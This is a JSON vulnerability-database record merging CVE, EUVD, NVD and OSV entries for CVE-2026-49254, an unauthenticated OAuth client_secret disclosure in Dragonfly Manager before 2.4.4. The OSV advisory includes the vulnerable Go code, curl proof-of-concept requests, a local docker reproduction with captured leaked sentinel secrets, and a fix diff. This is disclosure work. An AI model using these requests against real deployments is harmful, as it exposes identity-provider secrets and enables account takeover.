{"id":"GHSA-4q9j-6299-gxmr","revision":null,"records":[{"revision":"3a0cf77832a942cabaeca554d6f9a2b2","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-49254","aliases":[],"title":"Dragonfly Manager OAuth provider client_secret disclosure via unauthenticated GET /api/v1/oauth","description":"Dragonfly is an open source P2P-based file distribution and image acceleration system. Prior to 2.4.4, manager/router/router.go registers GET /api/v1/oauth and GET /api/v1/oauth/:id without jwt.MiddlewareFunc() or RBAC(), while manager/handlers/oauth.go returns models.Oauth records and manager/models/oauth.go exposes Oauth.ClientSecret as client_secret in JSON. When an administrator has configured a GitHub or Google OAuth provider, an unauthenticated network client can reach GetOauth or GetOauths, load the stored models.Oauth record, and obtain the provider's client secret, client identifier, and redirect URL. The earlier GHSA-j8hf-cp34-g4j7 remediation protected the /jobs group only and did not protect these OAuth GET handlers. Disclosure of client_secret can enable abuse of the configured identity-provider integration, subject to the provider's redirect URI restrictions. This issue is fixed in 2.4.4.","state":0,"publishedAt":"2026-09-15T14:06:21.309+00:00","modifiedAt":"2026-09-15T18:03:27.313+00:00","affected":[{"ecosystem":"Vendor product","name":"dragonfly","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"dragonflyoss\",\n                    \"product\": \"dragonfly\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.4.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":2.9,"severity":"LOW"}],"references":["https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-4q9j-6299-gxmr","https://github.com/dragonflyoss/dragonfly/commit/20cb2f9cb6372d13c029779f427bdb5ede111183","https://github.com/dragonflyoss/dragonfly/releases/tag/v2.4.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-49254","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-49254","identifiers":["CVE-2026-49254"]},"retained":false,"historicalAffected":[]},{"revision":"c6570e7d09824384ba0145682e4459da","observedAt":"2026-11-11T13:03:29.872+00:00","statement":{"source":"euvd","id":"EUVD-2026-78577","aliases":["CVE-2026-49254","GHSA-4q9j-6299-gxmr"],"title":"Dragonfly is an open source P2P-based file distribution and image acceleration system. Prior to 2.4.4, manager/router/router.go registers GET /api/v1/oauth and GET /api/v1/oauth/:id without jwt.MiddlewareFunc() or RBAC(), while manager/hand…","description":"Dragonfly is an open source P2P-based file distribution and image acceleration system. Prior to 2.4.4, manager/router/router.go registers GET /api/v1/oauth and GET /api/v1/oauth/:id without jwt.MiddlewareFunc() or RBAC(), while manager/handlers/oauth.go returns models.Oauth records and manager/models/oauth.go exposes Oauth.ClientSecret as client_secret in JSON. When an administrator has configured a GitHub or Google OAuth provider, an unauthenticated network client can reach GetOauth or GetOauths, load the stored models.Oauth record, and obtain the provider's client secret, client identifier, and redirect URL. The earlier GHSA-j8hf-cp34-g4j7 remediation protected the /jobs group only and did not protect these OAuth GET handlers. Disclosure of client_secret can enable abuse of the configured identity-provider integration, subject to the provider's redirect URI restrictions. This issue is fixed in 2.4.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":2.9,"severity":null}],"references":["https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-4q9j-6299-gxmr","https://github.com/dragonflyoss/dragonfly/commit/20cb2f9cb6372d13c029779f427bdb5ede111183","https://github.com/dragonflyoss/dragonfly/releases/tag/v2.4.4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-78577","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 15, 2026, 2:06:21 PM","dateUpdated":"Sep 15, 2026, 6:03:27 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-78577","identifiers":["EUVD-2026-78577","CVE-2026-49254","GHSA-4q9j-6299-gxmr"]},"retained":false,"historicalAffected":[]},{"revision":"c4ba5772534e4bf3ac82c1d80aa6820b","observedAt":"2026-10-25T12:17:32.273+00:00","statement":{"source":"nvd","id":"CVE-2026-49254","aliases":[],"title":"Dragonfly is an open source P2P-based file distribution and image acceleration system. Prior to 2.4.4, manager/router/router.go registers GET /api/v1/oauth and GET /api/v1/oauth/:id without jwt.MiddlewareFunc() or RBAC(), while manager/hand…","description":"Dragonfly is an open source P2P-based file distribution and image acceleration system. Prior to 2.4.4, manager/router/router.go registers GET /api/v1/oauth and GET /api/v1/oauth/:id without jwt.MiddlewareFunc() or RBAC(), while manager/handlers/oauth.go returns models.Oauth records and manager/models/oauth.go exposes Oauth.ClientSecret as client_secret in JSON. When an administrator has configured a GitHub or Google OAuth provider, an unauthenticated network client can reach GetOauth or GetOauths, load the stored models.Oauth record, and obtain the provider's client secret, client identifier, and redirect URL. The earlier GHSA-j8hf-cp34-g4j7 remediation protected the /jobs group only and did not protect these OAuth GET handlers. Disclosure of client_secret can enable abuse of the configured identity-provider integration, subject to the provider's redirect URI restrictions. This issue is fixed in 2.4.4.","state":0,"publishedAt":"2026-09-15T15:17:16.577+00:00","modifiedAt":"2026-09-30T17:51:56.193+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":2.9,"severity":"LOW"}],"references":["https://github.com/dragonflyoss/dragonfly/commit/20cb2f9cb6372d13c029779f427bdb5ede111183","https://github.com/dragonflyoss/dragonfly/releases/tag/v2.4.4","https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-4q9j-6299-gxmr"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49254","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-200","CWE-306"],"productCriteria":[],"sourceDates":{"published":"2026-09-15T15:17:16.577","lastModified":"2026-09-30T17:51:56.193"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-49254","identifiers":["CVE-2026-49254"]},"retained":false,"historicalAffected":[]},{"revision":"9a0d32718fef4f00bae86386890b2d2d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-4q9j-6299-gxmr","aliases":["CVE-2026-49254","GO-2026-5901"],"title":"Dragonfly Manager OAuth provider client_secret disclosure via unauthenticated GET /api/v1/oauth","description":"### Summary\n\nThe Dragonfly Manager exposes `GET /api/v1/oauth` and `GET /api/v1/oauth/:id` to unauthenticated clients. The response body deserializes the entire `manager/models.Oauth` struct, which includes the `client_secret` field. Any network-reachable attacker can read the OAuth client secrets configured for `github` or `google` providers, defeating the confidentiality guarantee of those secrets and enabling subsequent abuse against the connected identity providers.\n\n### Affected versions\n\n`github.com/dragonflyoss/dragonfly` `<= v2.4.3` (and current `main` at commit `46a8f1e`). The vulnerable wiring is present back to the introduction of OAuth GET handlers and was not addressed by GHSA-j8hf-cp34-g4j7 / CVE-2026-24124, whose remediation only added `jwt + rbac` middleware to the `/jobs` group.\n\n### Privilege required\n\nUnauthenticated. The only precondition is that an administrator has registered at least one OAuth provider via `POST /api/v1/oauth` (a one-time setup for tenants that enable GitHub / Google sign-in).\n\n### Vulnerable code\n\n[`manager/router/router.go:134-140`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/router/router.go#L134-L140) (v2.4.3) — the `/oauth` group registration:\n\n```go\n// Oauth.\noa := apiv1.Group(\"/oauth\")\noa.POST(\"\", jwt.MiddlewareFunc(), rbac, h.CreateOauth)\noa.DELETE(\":id\", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)\noa.PATCH(\":id\", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)\noa.GET(\":id\", h.GetOauth)\noa.GET(\"\", h.GetOauths)\n```\n\nNote the asymmetry inside the same `oa` route group: `POST`, `PATCH`, and `DELETE` explicitly attach `jwt.MiddlewareFunc(), rbac` as per-route middleware, but the two `GET` handlers omit both. Compare with the sibling group three lines below at [`manager/router/router.go:143-148`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/router/router.go#L143-L148), the `/clusters` group:\n\n```go\nc := apiv1.Group(\"/clusters\", jwt.MiddlewareFunc(), rbac)\nc.POST(\"\", h.CreateCluster)\nc.DELETE(\":id\", h.DestroyCluster)\nc.PATCH(\":id\", h.UpdateCluster)\nc.GET(\":id\", h.GetCluster)\nc.GET(\"\", h.GetClusters)\n```\n\nHere the middleware pair is attached once at the group level, so every verb on `/clusters` is guarded. The OAuth GETs are an unguarded sibling of the same primitive that GHSA-j8hf-cp34-g4j7 (Jan 2026) patched on the `/jobs` group. This is `sibling-method-dispatch-target` of the AP-012 sub-shape lens: same module, same router file, same anchor primitive (\"group lacking JWT + RBAC\"), parallel GET methods missed.\n\nThe handler at [`manager/handlers/oauth.go:127-141`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/handlers/oauth.go#L127-L141) returns the model directly:\n\n```go\nfunc (h *Handlers) GetOauth(ctx *gin.Context) {\n\tvar params types.OauthParams\n\tif err := ctx.ShouldBindUri(&params); err != nil {\n\t\tctx.JSON(http.StatusUnprocessableEntity, gin.H{\"errors\": err.Error()})\n\t\treturn\n\t}\n\n\toauth, err := h.service.GetOauth(ctx.Request.Context(), params.ID)\n\tif err != nil {\n\t\tctx.Error(err) // nolint: errcheck\n\t\treturn\n\t}\n\n\tctx.JSON(http.StatusOK, oauth)\n}\n```\n\n[`manager/handlers/oauth.go:155-171`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/handlers/oauth.go#L155-L171) has the parallel list handler:\n\n```go\nfunc (h *Handlers) GetOauths(ctx *gin.Context) {\n\tvar query types.GetOauthsQuery\n\tif err := ctx.ShouldBindQuery(&query); err != nil {\n\t\tctx.JSON(http.StatusUnprocessableEntity, gin.H{\"errors\": err.Error()})\n\t\treturn\n\t}\n\n\th.setPaginationDefault(&query.Page, &query.PerPage)\n\toauth, count, err := h.service.GetOauths(ctx.Request.Context(), query)\n\tif err != nil {\n\t\tctx.Error(err) // nolint: errcheck\n\t\treturn\n\t}\n\n\th.setPaginationLinkHeader(ctx, query.Page, query.PerPage, int(count))\n\tctx.JSON(http.StatusOK, oauth)\n}\n```\n\n[`manager/models/oauth.go:19-26`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/models/oauth.go#L19-L26) declares `ClientSecret` with no `json:\"-\"` tag, so it is serialized into every response:\n\n```go\ntype Oauth struct {\n\tBaseModel\n\tName         string `gorm:\"column:name;type:varchar(256);index:uk_oauth2_name,unique;not null;comment:oauth2 name\" json:\"name\"`\n\tBIO          string `gorm:\"column:bio;type:varchar(1024);comment:biography\" json:\"bio\"`\n\tClientID     string `gorm:\"column:client_id;type:varchar(256);index:uk_oauth2_client_id,unique;not null;comment:client id for oauth2\" json:\"client_id\"`\n\tClientSecret string `gorm:\"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2\" json:\"client_secret\"`\n\tRedirectURL  string `gorm:\"column:redirect_url;type:varchar(1024);comment:authorization callback url\" json:\"redirect_url\"`\n}\n```\n\n### How an unauthenticated request reaches the OAuth client_secret\n\n1. `gin.Engine` routes `GET /api/v1/oauth/:id` to the `oa` group registered at [`manager/router/router.go:135`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/router/router.go#L135). Because no middleware is attached at the group level and none is attached at the per-route level, the request bypasses `jwt.MiddlewareFunc()` (which would have set or rejected `c.Get(\"id\")`) and `middlewares.RBAC()` (which would have called Casbin enforcement).\n2. The request enters `h.GetOauth` ([`manager/handlers/oauth.go:127`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/handlers/oauth.go#L127)), which binds the `:id` path parameter and calls `h.service.GetOauth`.\n3. `service.GetOauth` ([`manager/service/oauth.go`](https://github.com/dragonflyoss/dragonfly/blob/e1491bf6134fe307b09e82e11fa94b0587dcd323/manager/service/oauth.go)) does `s.db.First(&oauth, id)` and returns the populated `models.Oauth`.\n4. The handler calls `ctx.JSON(http.StatusOK, oauth)`. The `ClientSecret` field is serialized as `client_secret` in the response body.\n\nThere is no PVR-style validator, no schema filter, no `omitempty`, and no DTO projection on the way. The audit middleware records the request as `actor=unknown`.\n\n### Proof of concept\n\n```bash\n# (Assume Manager is reachable at $MANAGER and at least one OAuth provider\n#  has been registered via the authenticated POST /api/v1/oauth path.)\n\ncurl -s $MANAGER/api/v1/oauth | python3 -m json.tool\ncurl -s $MANAGER/api/v1/oauth/1 | python3 -m json.tool\n```\n\nBoth calls return `HTTP 200` with a JSON body that includes `client_secret`.\n\n### End-to-end reproduction (against `dragonflyoss/manager:v2.4.3` on docker compose)\n\nBoot the deployment with the project's stock `deploy/docker-compose` stack reduced to the Manager + its MySQL + Redis dependencies:\n\n```bash\nmkdir -p /Users/rick/df2-poc/config\ncp Dragonfly2/deploy/docker-compose/template/manager.template.yaml \\\n   /Users/rick/df2-poc/config/manager.yaml\n# replace __IP__ with 127.0.0.1 (advertiseIP) and the redis addr with dragonfly-redis:6379\n# enable the default JWT key line (the template ships it already).\n\ncat > /Users/rick/df2-poc/docker-compose.yaml <<'YAML'\nservices:\n  redis:\n    image: redis:6-alpine\n    container_name: dragonfly-redis\n    command: --requirepass dragonfly\n  mysql:\n    image: mariadb:10.6\n    container_name: dragonfly-mysql\n    environment:\n      - MARIADB_USER=dragonfly\n      - MARIADB_PASSWORD=dragonfly\n      - MARIADB_DATABASE=manager\n      - MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes\n  manager:\n    image: dragonflyoss/manager:v2.4.3\n    container_name: dragonfly-manager\n    depends_on: [redis, mysql]\n    restart: on-failure\n    volumes:\n      - ./config/manager.yaml:/etc/dragonfly/manager.yaml:ro\n    ports:\n      - \"18080:8080\"\nYAML\ndocker compose -f /Users/rick/df2-poc/docker-compose.yaml up -d\nuntil curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done\n```\n\nBootstrap one administrator and register an OAuth provider whose secret we plant as a sentinel:\n\n```bash\n# Sign up + promote to root via the casbin_rule table (no other admin yet).\ncurl -s -X POST http://localhost:18080/api/v1/users/signup \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"name\":\"admin\",\"password\":\"adminpass123\",\"email\":\"admin@example.com\"}'\ndocker exec dragonfly-mysql mysql -uroot -e \\\n  \"USE manager; INSERT INTO casbin_rule (ptype, v0, v1) VALUES ('g','2','root');\"\ndocker compose -f /Users/rick/df2-poc/docker-compose.yaml restart manager\nuntil curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done\n\nTOKEN=$(curl -s -X POST http://localhost:18080/api/v1/users/signin \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"name\":\"admin\",\"password\":\"adminpass123\"}' \\\n  | python3 -c 'import sys,json; print(json.load(sys.stdin)[\"token\"])')\n\ncurl -s -X POST http://localhost:18080/api/v1/oauth \\\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\n  -d '{\"name\":\"github\",\"client_id\":\"FAKE_CLIENT_ID_abc123\",\n       \"client_secret\":\"FAKE_CLIENT_SECRET_supersensitive_xyz789\"}'\n```\n\nCaptured run output of the actual attack (unauthenticated client):\n\n```\n=== [0] Baseline: /api/v1/clusters demands auth ===\nHTTP 401\n=== [1] Baseline: /api/v1/jobs demands auth (post GHSA-j8hf fix) ===\nHTTP 401\n\n=== [ATTACK A] Unauthenticated GET /api/v1/oauth -> secret leaks ===\nHTTP 200\n[\n    {\n        \"id\": 1,\n        \"name\": \"github\",\n        \"client_id\": \"FAKE_CLIENT_ID_abc123\",\n        \"client_secret\": \"FAKE_CLIENT_SECRET_supersensitive_xyz789\",\n        \"redirect_url\": \"\"\n    }\n]\n\n=== [ATTACK B] Unauthenticated GET /api/v1/oauth/1 -> secret leaks ===\nHTTP 200\n{\n    \"id\": 1,\n    \"name\": \"github\",\n    \"client_id\": \"FAKE_CLIENT_ID_abc123\",\n    \"client_secret\": \"FAKE_CLIENT_SECRET_supersensitive_xyz789\",\n    \"redirect_url\": \"\"\n}\n```\n\nInterpretation: `/api/v1/clusters` and `/api/v1/jobs` both reject the unauthenticated curl with `401 Unauthorized` (the JWT + RBAC stack engages). The OAuth GETs return `200 OK` plus the full row including `client_secret`. The Manager's own RBAC enforcement that exists for every other admin resource is bypassed for these two routes.\n\nFix verification (after applying the patch in the next section), the same harness must return `401 Unauthorized` for both attack steps.\n\n### Impact\n\n- The OAuth sign-in feature is `not actually used in practice within the Dragonfly project itself`.\n- Unauthenticated disclosure of OAuth `client_secret` for GitHub / Google providers. A `client_secret` permits an attacker to mint OAuth tokens against the configured IdP for arbitrary callback URLs (subject to the provider's redirect-URI allowlist on that client), to impersonate the Manager during the OAuth handshake, and to construct phishing pages that look identical to the Manager's own redirect URL.\n- The same row also exposes `client_id` and `redirect_url`, both of which are useful for a follow-up account-takeover against any Manager user who relies on the OAuth sign-in flow.\n- Tenants who exposed the Manager's REST port (`8080/tcp`, default in the project's `docker-compose.yaml` and Helm chart) to a corporate network or the internet leak the secret to every host that can reach the port. Network-policy or ingress filtering does not mitigate this for in-cluster attackers.\n\nCWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) compounded by CWE-306 (Missing Authentication for Critical Function).\n\n### Suggested fix\n\nMove the JWT and RBAC middleware to the route-group level, matching every other admin resource in the same file (`/clusters`, `/scheduler-clusters`, `/seed-peers`, `/configs`, `/jobs` after GHSA-j8hf, etc.). Additionally, drop `ClientSecret` from any read response by marking it `json:\"-\"` on the model, so even a future router regression cannot leak it.\n\n```diff\n--- a/manager/router/router.go\n+++ b/manager/router/router.go\n@@ Oauth.\n-    oa := apiv1.Group(\"/oauth\")\n-    oa.POST(\"\",   jwt.MiddlewareFunc(), rbac, h.CreateOauth)\n-    oa.DELETE(\":id\", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)\n-    oa.PATCH(\":id\",  jwt.MiddlewareFunc(), rbac, h.UpdateOauth)\n-    oa.GET(\":id\", h.GetOauth)\n-    oa.GET(\"\",    h.GetOauths)\n+    oa := apiv1.Group(\"/oauth\", jwt.MiddlewareFunc(), rbac)\n+    oa.POST(\"\",      h.CreateOauth)\n+    oa.DELETE(\":id\", h.DestroyOauth)\n+    oa.PATCH(\":id\",  h.UpdateOauth)\n+    oa.GET(\":id\",    h.GetOauth)\n+    oa.GET(\"\",       h.GetOauths)\n```\n\n```diff\n--- a/manager/models/oauth.go\n+++ b/manager/models/oauth.go\n@@ type Oauth struct {\n-    ClientSecret string `gorm:\"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2\" json:\"client_secret\"`\n+    ClientSecret string `gorm:\"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2\" json:\"-\"`\n```\n\nThe first hunk mirrors exactly the shape applied for `/clusters`, `/scheduler-clusters`, `/seed-peer-clusters`, `/seed-peers`, `/peers`, `/configs`, `/applications`, `/personal-access-tokens`, `/persistent-cache-tasks`, `/audits`, and (post-GHSA-j8hf-cp34-g4j7) `/jobs`. The second hunk adds a defense-in-depth pin so that if the OAuth registration handler is ever consumed by a future routing change, the secret stays out of the JSON contract.\n\n### Fix PR\n\nhttps://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1 (temp private fork PR opened on the advisory's embargo-private fork).\n\n### Workarounds\n\nThe OAuth sign-in feature is `not actually used in practice within the Dragonfly project itself`.\n\n### Credit\n\nReported by tonghuaroot.","state":0,"publishedAt":"2026-07-02T19:21:30+00:00","modifiedAt":"2026-07-07T16:11:14.4725962+00:00","affected":[{"ecosystem":"Go","name":"d7y.io/dragonfly/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.4.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-4q9j-6299-gxmr","https://github.com/dragonflyoss/dragonfly"],"sourceUrl":"https://github.com/advisories/GHSA-4q9j-6299-gxmr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-4q9j-6299-gxmr","identifiers":["GHSA-4q9j-6299-gxmr","CVE-2026-49254","GO-2026-5901"]},"retained":false,"historicalAffected":[]},{"revision":"c97d949b31b543bc90f743808951d1f0","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5901","aliases":["CVE-2026-49254","GHSA-4q9j-6299-gxmr"],"title":"Dragonfly Manager OAuth provider client_secret disclosure via unauthenticated GET /api/v1/oauth in d7y.io/dragonfly","description":"Dragonfly Manager OAuth provider client_secret disclosure via unauthenticated GET /api/v1/oauth in d7y.io/dragonfly","state":0,"publishedAt":"2026-07-07T15:26:37+00:00","modifiedAt":"2026-07-07T16:00:30.371992+00:00","affected":[{"ecosystem":"Go","name":"d7y.io/dragonfly/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.4.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-4q9j-6299-gxmr"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5901","license":"OSV · upstream source license applies","key":"osv:GO-2026-5901","identifiers":["GO-2026-5901","CVE-2026-49254","GHSA-4q9j-6299-gxmr"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0427292+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0427301+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-c8f0a5eb97b437649f83f6fe632ec849fcb249052407d33e475e82c88b318dfb","complete":true,"records":424535,"lastAttemptAt":"2026-11-12T02:56:45.3610802+00:00","lastSuccessAt":"2026-11-12T02:56:45.341976+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.3610802+00:00","snapshotPublishedAt":"2026-11-12T02:25:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3bce114846604d92838a2dc302341627","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T03:06:53.8778262+00:00","lastSuccessAt":"2026-11-12T03:06:52.8+00:00","error":"754 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T03:06:52.8+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13040,"expectedIdentifiers":13813,"failedIdentifiers":754},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0434469+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0434471+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-729a419ccc5f41d8a3330c7c6e8b6a5e","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T02:57:11.7691852+00:00","lastSuccessAt":"2026-11-12T02:57:11.766+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:57:11.766+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T02:56:45.7363501+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.7363501+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T02:56:45.5271491+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.5271491+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T02:56:45.8443473+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.8443473+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-12T02:56:45.6384803+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.6384803+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}